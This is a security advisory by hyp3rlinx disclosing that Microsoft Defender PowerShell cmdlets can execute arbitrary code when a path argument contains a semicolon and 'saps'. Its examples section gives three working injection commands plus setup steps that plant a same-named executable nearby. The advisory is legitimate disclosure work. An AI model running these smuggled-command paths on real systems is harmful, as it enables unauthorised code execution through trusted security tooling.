Exploit/Advisories

[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT_DEFENDER_ANTI_MALWARE_POWERSHELL_API_UNINTENDED_CODE_EXECUTION.txt
[+] twitter.com/hyp3rlinx
[+] x.com/hyp3rlinx
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Windows PowerShell

[Vulnerability Type]
Arbitrary Code Execution

[CVE Reference]
N/A

[Security Issue]
Microsoft Defender Anti Malware and or PS API's can result in executing arbitrary code.
E.g. scan a directory, shortcut .lnk or even non-existent item, may execute unintended code.
This vector builds upon my previous advisory and subsequent project PSTrojanFile.

Requirements:
1) On CL 'powershell' cmd is prefixed or passed in by calling PowerShell from another script
2) Executable file of same name as the parameter that lives nearby

Examples:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads\;saps Helper;.1.zip"
(Helper.exe lives on Desktop)

Create directory ";saps Test", Test.exe, Test.cmd etc is on same CL path
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"

Create directory with semicolon, drop PE file named doom.exe in same path.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"

TODO: Update PSTrojanFile

[References]
http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-POWERSHELL-UNSANITIZED-FILENAME-COMMAND-EXECUTION.txt
https://github.com/hyp3rlinx/PSTrojanFile
https://packetstormsecurity.com/files/153863/Microsoft-Windows-PowerShell-Command-Execution.html
https://www.exploit-db.com/exploits/47248
https://github.com/MicrosoftDocs/windows-powershell-docs/tree/main/docset/winserver2019-ps/defender

[Video PoC URL]
https://www.youtube.com/watch?v=0Go6yJiRWP8

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: circa (2019)
December 7, 2023 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Comments are closed.